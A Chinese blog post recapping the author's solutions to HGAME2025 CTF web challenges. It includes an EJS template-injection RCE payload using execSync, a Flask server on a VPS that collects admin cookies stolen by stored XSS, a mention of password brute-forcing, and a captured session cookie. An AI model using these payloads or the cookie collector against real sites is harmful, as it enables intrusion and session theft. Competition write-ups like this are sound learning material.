HGAME2025赛后总结

Wang1r Lv3

HGAME的出题蛮有意思的,但是疑似有点过于有意思了,导致有点不知所云(提示给的太模糊了呜呜)。

记录一下做出来的题吧。

Web

Level 24 Pacman

简单的前端题,直接搜索相关信息即可找到,不过有一个假flag,被骗了一次(哭)。

搜索到here is you gift,然后得到base64编码,解码再栅栏解密得到真正的flag。

Level 47 BandBomb

文件上传然后重命名进行覆盖,不过一开始不知道覆盖哪些文件可以执行,经过多次尝试搞清楚了文件目录结构:

1
2
3
4
5
6
7
8
app
├── view
│ └── mortis.ejs
├── public
│ └──
├──upload
│ └──
└── app.js

public目录下的文件被映射到/static路由下的。

由于没有对目录进行限制,所以本来是可以目录穿越进行任意文件读的,但没想到没有flag文件,于是只能尝试rce

由于view目录下的ejs文件是渲染的,所以覆盖掉mortis.ejs,尝试ejs的RCE

1
<%= process.mainModule.require('child_process').execSync('env') %>

读取到环境变量,发现flag

Level 69 MysteryMessageBoard

简单的XSS

首先根据提示爆破密码,登录进去。

进去发现有个留言板,测试发现留言板能进行XSS。

然后又发现一个/admin目录,提示说admin会来看留言板,

所以在VPS上写了一个接收cookie的服务,获取到admin的cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from flask import Flask, request, jsonify
import os

app = Flask(__name__)

# 存储接收到的数据
received_data = []

@app.route('/log', methods=['POST'])
def log_data():
data = request.form.get('data')
if data:
# 记录数据到列表中
received_data.append(data)
# 保存到文件
with open('xss_log.txt', 'a') as file:
file.write(data + '\n')
return jsonify({"status": "success", "message": "数据已记录"})
else:
return jsonify({"status": "error", "message": "未接收到数据"})

@app.route('/view', methods=['GET'])
def view_data():
return jsonify({"status": "success", "data": received_data})

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

日志中得到session=MTczODc0MDc0OHxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQldGa2JXbHV8abVi0nIScBWvy3TfQXRCKCnLcHnEEDTDHccm_xsP1kQ=

本来获取到cookie后不知道能干嘛的,结果偶然一试发现/flag直接获取到flag了

有点偶然

感想

我大抵确实是有进步的,起码看到题知道用哪些方式去分析了。不过事实证明知识储备不够的情况下,分析出来一些东西也不会做(比如后面那两道题),之后还是要努力啊。

  • 标题: HGAME2025赛后总结
  • 作者: Wang1r
  • 创建于 : 2025-02-10 20:16:20
  • 更新于 : 2025-04-07 12:33:55
  • 链接: https://wang1rrr.github.io/2025/02/10/HGAME2025赛后总结/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。